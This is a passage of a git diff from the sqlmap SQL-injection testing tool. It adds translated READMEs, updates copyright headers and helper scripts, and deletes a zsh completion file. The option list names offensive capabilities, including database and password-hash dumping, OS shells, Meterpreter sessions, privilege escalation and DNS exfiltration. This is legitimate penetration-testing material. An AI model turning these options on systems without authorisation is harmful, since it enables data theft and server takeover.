http://news.gmane.org/gmane.comp.security.sqlmap +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md new file mode 100644 index 000000000..69e2d531d --- /dev/null +++ b/doc/translations/README-hr-HR.md @@ -0,0 +1,53 @@ +sqlmap +== + + +sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza. + +Slike zaslona +---- + +![Slika zaslona](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Možete posjetiti [kolekciju slika zaslona](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gdje se demonstriraju neke od značajki na wiki stranicama. + +Instalacija +---- + +Možete preuzeti zadnji tarball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/tarball/master) ili zadnji zipball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: + + git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap radi bez posebnih zahtjeva korištenjem [Python](http://www.python.org/download/) verzije **2.6.x** i/ili **2.7.x** na bilo kojoj platformi. + +Korištenje +---- + +Kako biste dobili listu osnovnih opcija i prekidača koristite: + + python sqlmap.py -h + +Kako biste dobili listu svih opcija i prekidača koristite: + + python sqlmap.py -hh + +Možete pronaći primjer izvršavanja [ovdje](https://gist.github.com/stamparm/5335217). +Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki). + +Poveznice +---- + +* Početna stranica: http://sqlmap.org +* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues +* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki +* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Pretplata na mailing listu: https://lists.sourceforge.net/lists/listinfo/sqlmap-users +* RSS feed mailing liste: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap +* Arhiva mailing liste: http://news.gmane.org/gmane.comp.security.sqlmap +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md new file mode 100644 index 000000000..e2957b119 --- /dev/null +++ b/doc/translations/README-id-ID.md @@ -0,0 +1,53 @@ +sqlmap +== + +sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. + +Tangkapan Layar +---- + +![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. + +Instalasi +---- + +Anda dapat mengunduh tarball versi terbaru [di sini] +(https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap): + + git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6.x** dan **2.7.x** pada platform apapun. + +Penggunaan +---- + +Untuk mendapatkan daftar opsi dasar gunakan: + + python sqlmap.py -h + +Untuk mendapatkan daftar opsi lanjut gunakan: + + python sqlmap.py -hh + +Anda dapat mendapatkan contoh penggunaan [di sini](https://gist.github.com/stamparm/5335217). +Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [manual pengguna](https://github.com/sqlmapproject/sqlmap/wiki). + +Tautan +---- + +* Situs: http://sqlmap.org +* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki +* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Berlangganan milis: https://lists.sourceforge.net/lists/listinfo/sqlmap-users +* RSS feed dari milis: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap +* Arsip milis: http://news.gmane.org/gmane.comp.security.sqlmap +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Video Demo [#1](http://www.youtube.com/user/inquisb/videos) dan [#2](http://www.youtube.com/user/stamparm/videos) +* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md new file mode 100644 index 000000000..63a0bafc8 --- /dev/null +++ b/doc/translations/README-pt-BR.md @@ -0,0 +1,53 @@ +sqlmap +== + +sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. + +Imagens +---- + +![Imagem](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demonstra alguns dos recursos apresentados na wiki. + +Instalação +---- + +Você pode baixar o arquivo tar mais recente clicando [aqui] +(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). + +De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): + + git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6.x** e **2.7.x** em todas as plataformas. + +Como usar +---- + +Para obter uma lista das opções básicas faça: + + python sqlmap.py -h + +Para obter a lista completa de opções faça: + + python sqlmap.py -hh + +Você pode encontrar alguns exemplos [aqui](https://gist.github.com/stamparm/5335217). +Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki). + +Links +---- + +* Homepage: http://sqlmap.org +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki +* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users +* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap +* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Demonstrações: [#1](http://www.youtube.com/user/inquisb/videos) e [#2](http://www.youtube.com/user/stamparm/videos) +* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md new file mode 100644 index 000000000..c3b8b2941 --- /dev/null +++ b/doc/translations/README-zh-CN.md @@ -0,0 +1,52 @@ +sqlmap +== + + +sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。 + +演示截图 +---- + +![截图](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +你可以访问 wiki上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 查看各种用法的演示 + +安装方法 +---- + +你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的源代码 或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的源代码. + +推荐你从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码: + + git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6.x** 和 **2.7.x** 版本的任何平台上 + +使用方法 +---- + +通过如下命令可以查看基本的用法及命令行参数: + + python sqlmap.py -h + +通过如下的命令可以查看所有的用法及命令行参数: + + python sqlmap.py -hh + +你可以从 [这里](https://gist.github.com/stamparm/5335217) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。 + +链接 +---- + +* 项目主页: http://sqlmap.org +* 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* 使用手册: https://github.com/sqlmapproject/sqlmap/wiki +* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* 邮件讨论列表: https://lists.sourceforge.net/lists/listinfo/sqlmap-users +* 邮件列表 RSS 订阅: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap +* 邮件列表归档: http://news.gmane.org/gmane.comp.security.sqlmap +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* 教程: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/extra/__init__.py b/extra/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/beep/beep.py b/extra/beep/beep.py index 7315e2bf8..b46036b2a 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -3,7 +3,7 @@ """ beep.py - Make a beep sound -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py old mode 100644 new mode 100755 index 1725f0ba8..a94f6756f --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -3,13 +3,13 @@ """ cloak.py - Simple file encryption/compression utility -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -import bz2 import os import sys +import zlib from optparse import OptionError from optparse import OptionParser @@ -26,7 +26,7 @@ def hideAscii(data): def cloak(inputFile): f = open(inputFile, 'rb') - data = bz2.compress(f.read()) + data = zlib.compress(f.read()) f.close() return hideAscii(data) @@ -34,7 +34,7 @@ def cloak(inputFile): def decloak(inputFile): f = open(inputFile, 'rb') try: - data = bz2.decompress(hideAscii(f.read())) + data = zlib.decompress(hideAscii(f.read())) except: print 'ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile sys.exit(1) diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index 69114d517..4d3dc8c5e 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -3,7 +3,7 @@ """ dbgtool.py - Portable executable to ASCII debug script converter -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/icmpsh/icmpsh.exe_ b/extra/icmpsh/icmpsh.exe_ index cd3c62e09..a1eb995cb 100644 Binary files a/extra/icmpsh/icmpsh.exe_ and b/extra/icmpsh/icmpsh.exe_ differ diff --git a/extra/mssqlsig/update.py b/extra/mssqlsig/update.py index 65ec692da..67d7ee6aa 100644 --- a/extra/mssqlsig/update.py +++ b/extra/mssqlsig/update.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/safe2bin/__init__.py b/extra/safe2bin/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/extra/safe2bin/__init__.py +++ b/extra/safe2bin/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/safe2bin/safe2bin.py b/extra/safe2bin/safe2bin.py index 0c133b724..c91620ec6 100644 --- a/extra/safe2bin/safe2bin.py +++ b/extra/safe2bin/safe2bin.py @@ -3,7 +3,7 @@ """ safe2bin.py - Simple safe(hex) to binary format converter -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -50,7 +50,7 @@ def safecharencode(value): for char in SAFE_ENCODE_SLASH_REPLACEMENTS: retVal = retVal.replace(char, repr(char).strip('\'')) - retVal = reduce(lambda x, y: x + (y if (y in string.printable or ord(y) > 255) else '\\x%02x' % ord(y)), retVal, (unicode if isinstance(value, unicode) else str)()) + retVal = reduce(lambda x, y: x + (y if (y in string.printable or isinstance(value, unicode) and ord(y) >= 160) else '\\x%02x' % ord(y)), retVal, (unicode if isinstance(value, unicode) else str)()) retVal = retVal.replace(SLASH_MARKER, "\\\\") elif isinstance(value, list): diff --git a/extra/shellcodeexec/linux/shellcodeexec.x32_ b/extra/shellcodeexec/linux/shellcodeexec.x32_ index cc5917254..ec62f2303 100644 Binary files a/extra/shellcodeexec/linux/shellcodeexec.x32_ and b/extra/shellcodeexec/linux/shellcodeexec.x32_ differ diff --git a/extra/shellcodeexec/linux/shellcodeexec.x64_ b/extra/shellcodeexec/linux/shellcodeexec.x64_ index 25aa6ea4a..10e8fea3d 100644 Binary files a/extra/shellcodeexec/linux/shellcodeexec.x64_ and b/extra/shellcodeexec/linux/shellcodeexec.x64_ differ diff --git a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ index a26bb6e10..4d699f123 100644 Binary files a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ and b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ differ diff --git a/extra/shutils/_sqlmap.py b/extra/shutils/_sqlmap.py deleted file mode 100644 index 44c33bfb1..000000000 --- a/extra/shutils/_sqlmap.py +++ /dev/null @@ -1,177 +0,0 @@ -#compdef sqlmap.py - -# sqlmap completion commands. written by kost -# put this file in your zsh completion dir and restart your shell. Zsh completion dir is usually -# located somewhere in /usr/share/zsh/ or /usr/local/share/zsh - -local curcontext="$curcontext" state line - -_arguments -C -s \ - '(- *)'{--help,-h}'[Show basic help message and exit]' \ - '(- *)'-hh'[Show advanced help message and exit]' \ - '(-v)'-v+'[Verbosity level: 0-6 (default 1)]:Verbosity level (0-6) - default 1' \ - '(-d)'-d+'[Direct connection to the database]' \ - '(-u,--url)'{-u+,--url=-}'[Target url]' \ - '(-g)'-g+'[Process Google dork results as target urls]' \ - '(--data)'--data=-'[Data string to be sent through POST]' \ - '(-l)'-l+'[Parse targets from Burp or WebScarab proxy logs]:LOGFILE:_files' \ - '(-m)'-m+'[Scan multiple targets enlisted in a given textual file]:BULKFILE:_files' \ - '(-r)'-r+'[Load HTTP request from a file]:REQUESTFILE:_files' \ - '(-s)'-s+'[Load session from a stored (.sqlite) file]:SESSIONFILE:_files' \ - '(-c)'-c+'[Load options from a configuration INI file]:CONFIGFILE:_files' \ - '(--param-del)'--param-del=-'[Character used for splitting parameter values]:PDEL' \ - '(--cookie)'--cookie=-'[HTTP Cookie header]:COOKIE' \ - '(--load-cookies)'--load-cookies=-'[File containing cookies in Netscape/wget format]:COOKIEFILE:_files' \ - '(--drop-set-cookie)'--drop-set-cookie'[Ignore Set-Cookie header from response]' \ - '(--user-agent)'--user-agent=-'[HTTP User-Agent header]:HTTP User Agent' \ - '(--random-agent)'--random-agent'[Use randomly selected HTTP User-Agent header]' \ - '(--randomize)'--randomize=-'[Randomly change value for given parameter(s)]:RPARAM' \ - '(--force-ssl)'--force-ssl'[Force usage of SSL/HTTPS requests]' \ - '(--host)'--host=-'[HTTP Host header]:Host Header' \ - '(--referer)'--referer=-'[HTTP Referer header]:REFERER' \ - '(--headers)'--headers=-'[Extra headers (e.g. Accept-Language: fr\nETag: 123)]:HEADERS' \ - '(--auth-type)'--auth-type=-'[HTTP authentication type (Basic, Digest or NTLM)]:ATYPE' \ - '(--auth-cred)'--auth-cred=-'[HTTP authentication credentials (name:password)]:ACRED' \ - '(--auth-cert)'--auth-cert=-'[HTTP authentication certificate (key_file,cert_file)]:ACERT:_files' \ - '(--proxy)'--proxy=-'[Use a HTTP proxy to connect to the target url]:PROXY' \ - '(--proxy-cred)'--proxy-cred=-'[HTTP proxy authentication credentials (name:password)]:PCRED' \ - '(--ignore-proxy)'--ignore-proxy'[Ignore system default HTTP proxy]' \ - '(--delay)'--delay=-'[Delay in seconds between each HTTP request]:DELAY' \ - '(--timeout)'--timeout=-'[Seconds to wait before timeout connection (default 30)]:TIMEOUT' \ - '(--retries)'--retries=-'[Retries when the connection timeouts (default 3)]:RETRIES' \ - '(--scope)'--scope=-'[Regexp to filter targets from provided proxy log]:SCOPE' \ - '(--safe-url)'--safe-url=-'[Url address to visit frequently during testing]:SAFURL' \ - '(--safe-freq)'--safe-freq=-'[Test requests between two visits to a given safe url]:SAFREQ' \ - '(--skip-urlencode)'--skip-urlencode'[Skip URL encoding of payload data]' \ - '(--eval)'--eval=-'[Evaluate provided Python code before the request (e.g.]:EVALCODE' \ - '(-o)'-o'[Turn on all optimization switches]' \ - '(--predict-output)'--predict-output'[Predict common queries output]' \ - '(--keep-alive)'--keep-alive'[Use persistent HTTP(s) connections]' \ - '(--null-connection)'--null-connection'[Retrieve page length without actual HTTP response body]' \ - '(--threads)'--threads=-'[Max number of concurrent HTTP(s) requests (default 1)]:THREADS' \ - '(-p)'-p+'[Testable parameter(s)]:TESTPARAMETER' \ - '(--dbms)'--dbms=-'[Force back-end DBMS to this value]:DBMS:->list-dbms' \ - '(--os)'--os=-'[Force back-end DBMS operating system to this value]:OS:->list-os' \ - '(--invalid-bignum)'--invalid-bignum'[Use big numbers for invalidating values]' \ - '(--invalid-logical)'--invalid-logical'[Use logical operations for invalidating values]' \ - '(--no-cast)'--no-cast'[Turn off payload casting mechanism]' \ - '(--no-escape)'--no-unescape'[Turn off string escaping mechanism]' \ - '(--prefix)'--prefix=-'[Injection payload prefix string]:PREFIX' \ - '(--suffix)'--suffix=-'[Injection payload suffix string]:SUFFIX' \ - '(--skip)'--skip=-'[Skip testing for given parameter(s)]:SKIP' \ - '(--tamper)'--tamper=-'[Use given script(s) for tampering injection data]:TAMPER' \ - '(--level)'--level=-'[Level of tests to perform (1-5, default 1)]:LEVEL (1-5), default 1' \ - '(--risk)'--risk=-'[Risk of tests to perform (0-3, default 1)]:RISK (0-3), default 1' \ - '(--string)'--string=-'[String to match when query is evaluated to True]:STRING' \ - '(--not-string)'--not-string=-'[String to match when query is evaluated to False]:NOTSTRING' \ - '(--regexp)'--regexp=-'[Regexp to match when query is evaluated to True]:REGEXP' \ - '(--code)'--code=-'[HTTP code to match when query is evaluated to True]' \ - '(--text-only)'--text-only'[Compare pages based only on the textual content]' \ - '(--titles)'--titles'[Compare pages based only on their titles]' \ - '(--technique)'--technique=-'[SQL injection techniques to test for (default "BEUSTQ")]:TECH:->list-techniques' \ - '(--time-sec)'--time-sec=-'[Seconds to delay the DBMS response (default 5)]:TIMESEC' \ - '(--union-cols)'--union-cols=-'[Range of columns to test for UNION query SQL injection]:UCOLS' \ - '(--union-char)'--union-char=-'[Character to use for bruteforcing number of columns]:UCHAR' \ - '(--dns-domain)'--dns-domain=-'[Domain name used for DNS exfiltration attack]:DNSDOMAIN' \ - '(--second-order)'--second-order=-'[Resulting page url searched for second-order response]:SECONDORDER' \ - '(-f,--fingerprint)'{-f,--fingerprint}'[Perform an extensive DBMS version fingerprint]' \ - '(-a,--all)'{-a,--all}'[Retrieve everything]' \ - '(-b,--banner)'{-b,--banner}'[Retrieve DBMS banner]' \ - '(--current-user)'--current-user'[Retrieve DBMS current user]' \ - '(--current-db)'--current-db'[Retrieve DBMS current database]' \ - '(--hostname)'--hostname'[Retrieve DBMS server hostname]' \ - '(--is-dba)'--is-dba'[Detect if the DBMS current user is DBA]' \ - '(--users)'--users'[Enumerate DBMS users]' \ - '(--passwords)'--passwords'[Enumerate DBMS users password hashes]' \ - '(--privileges)'--privileges'[Enumerate DBMS users privileges]' \ - '(--roles)'--roles'[Enumerate DBMS users roles]' \ - '(--dbs)'--dbs'[Enumerate DBMS databases]' \ - '(--tables)'--tables'[Enumerate DBMS database tables]' \ - '(--columns)'--columns'[Enumerate DBMS database table columns]' \ - '(--schema)'--schema'[Enumerate DBMS schema]' \ - '(--count)'--count'[Retrieve number of entries for table(s)]' \ - '(--dump)'--dump'[Dump DBMS database table entries]' \ - '(--dump-all)'--dump-all'[Dump all DBMS databases tables entries]' \ - '(--search)'--search'[Search column(s), table(s) and/or database name(s)]' \ - '(-D)'-D+'[DBMS database to enumerate]:DB' \ - '(-T)'-T+'[DBMS database table to enumerate]:TBL' \ - '(-C)'-C+'[DBMS database table column to enumerate]:COL' \ - '(-U)'-U+'[DBMS user to enumerate]:USER' \ - '(--exclude-sysdbs)'--exclude-sysdbs'[Exclude DBMS system databases when enumerating tables]' \ - '(--start)'--start=-'[First query output entry to retrieve]:LIMITSTART' \ - '(--stop)'--stop=-'[Last query output entry to retrieve]:LIMITSTOP' \ - '(--first)'--first=-'[First query output word character to retrieve]:FIRSTCHAR' \ - '(--last)'--last=-'[Last query output word character to retrieve]:LASTCHAR' \ - '(--sql-query)'--sql-query=-'[SQL statement to be executed]:QUERY' \ - '(--sql-shell)'--sql-shell'[Prompt for an interactive SQL shell]' \ - '(--sql-file)'--sql-file=-'[Execute SQL statements from given file(s)]:SQLFILE:_files' \ - '(--common-tables)'--common-tables'[Check existence of common tables]' \ - '(--common-columns)'--common-columns'[Check existence of common columns]' \ - '(--udf-inject)'--udf-inject'[Inject custom user-defined functions]' \ - '(--shared-lib)'--shared-lib=-'[Local path of the shared library]:SHLIB' \ - '(--file-read)'--file-read=-'[Read a file from the back-end DBMS file system]:RFILE' \ - '(--file-write)'--file-write=-'[Write a local file on the back-end DBMS file system]:WFILE' \ - '(--file-dest)'--file-dest=-'[Back-end DBMS absolute filepath to write to]:DFILE' \ - '(--os-cmd)'--os-cmd=-'[Execute an operating system command]:OSCMD' \ - '(--os-shell)'--os-shell'[Prompt for an interactive operating system shell]' \ - '(--os-pwn)'--os-pwn'[Prompt for an out-of-band shell, meterpreter or VNC]' \ - '(--os-smbrelay)'--os-smbrelay'[One click prompt for an OOB shell, meterpreter or VNC]' \ - '(--os-bof)'--os-bof'[Stored procedure buffer overflow exploitation]' \ - '(--priv-esc)'--priv-esc'[Database process user privilege escalation]' \ - '(--msf-path)'--msf-path=-'[Local path where Metasploit Framework is installed]:MSFPATH' \ - '(--tmp-path)'--tmp-path=-'[Remote absolute path of temporary files directory]:TMPPATH' \ - '(--reg-read)'--reg-read'[Read a Windows registry key value]' \ - '(--reg-add)'--reg-add'[Write a Windows registry key value data]' \ - '(--reg-del)'--reg-del'[Delete a Windows registry key value]' \ - '(--reg-key)'--reg-key=-'[Windows registry key]:REGKEY' \ - '(--reg-value)'--reg-value=-'[Windows registry key value]:REGVAL' \ - '(--reg-data)'--reg-data=-'[Windows registry key value data]:REGDATA' \ - '(--reg-type)'--reg-type=-'[Windows registry key value type]:REGTYPE' \ - '(-t)'-t+'[Log all HTTP traffic into a textual file]:TRAFFICFILE' \ - '(--batch)'--batch'[Never ask for user input, use the default behaviour]' \ - '(--charset)'--charset=-'[Force character encoding used for data retrieval]:CHARSET' \ - '(--check-tor)'--check-tor'[Check to see if Tor is used properly]' \ - '(--crawl)'--crawl=-'[Crawl the website starting from the target url]:CRAWLDEPTH' \ - '(--csv-del)'--csv-del=-'[Delimiting character used in CSV output (default is ,)]:CSVDEL' \ - '(--dbms-cred)'--dbms-cred=-'[DBMS authentication credentials (user:password)]:DBMS authentication credentials' \ - '(--eta)'--eta'[Display for each output the estimated time of arrival]' \ - '(--flush-session)'--flush-session'[Flush session files for current target]' \ - '(--forms)'--forms'[Parse and test forms on target url]' \ - '(--fresh-queries)'--fresh-queries'[Ignores query results stored in session file]' \ - '(--hex)'--hex'[Uses DBMS hex function(s) for data retrieval]' \ - '(--output-dir)'--output-dir=-'[Custom output directory path]:ODIR' \ - '(--parse-errors)'--parse-errors'[Parse and display DBMS error messages from responses]' \ - '(--save)'--save'[Save options to a configuration INI file]' \ - '(--tor)'--tor'[Use Tor anonymity network]' \ - '(--tor-port)'--tor-port=-'[Set Tor proxy port other than default]:TORPORT' \ - '(--tor-type)'--tor-type=-'[Set Tor proxy type (HTTP - default, SOCKS4 or SOCKS5)]:TORTYPE' \ - '(--update)'--update'[Update sqlmap]' \ - '(-z)'-z+'[Use short mnemonics (e.g. flu,bat,ban,tec=EU)]:MNEMONICS' \ - '(--check-payload)'--check-payload'[Offline WAF/IPS/IDS payload detection testing]' \ - '(--check-waf)'--check-waf'[Check for existence of WAF/IPS/IDS protection]' \ - '(--cleanup)'--cleanup'[Clean up the DBMS by sqlmap specific UDF and tables]' \ - '(--dependencies)'--dependencies'[Check for missing (non-core) sqlmap dependencies]' \ - '(--disable-coloring)'--disable-coloring'[Disable console output coloring]' \ - '(--gpage)'--gpage=-'[Use Google dork results from specified page number]:GOOGLEPAGE' \ - '(--mobile)'--mobile'[Imitate smartphone through HTTP User-Agent header]' \ - '(--page-rank)'--page-rank'[Display page rank (PR) for Google dork results]' \ - '(--purge-output)'--purge-output'[Safely remove all content from output directory]' \ - '(--smart)'--smart'[Conduct through tests only if positive heuristic(s)]' \ - '(--test-filter)'--test-filter=-'[Select tests by payloads and/or titles (e.g. ROW)]:test-filter' \ - '(--wizard)'--wizard'[Simple wizard interface for beginner users]' && return 0 - -case "$state" in - list-dbms) - _values -S : 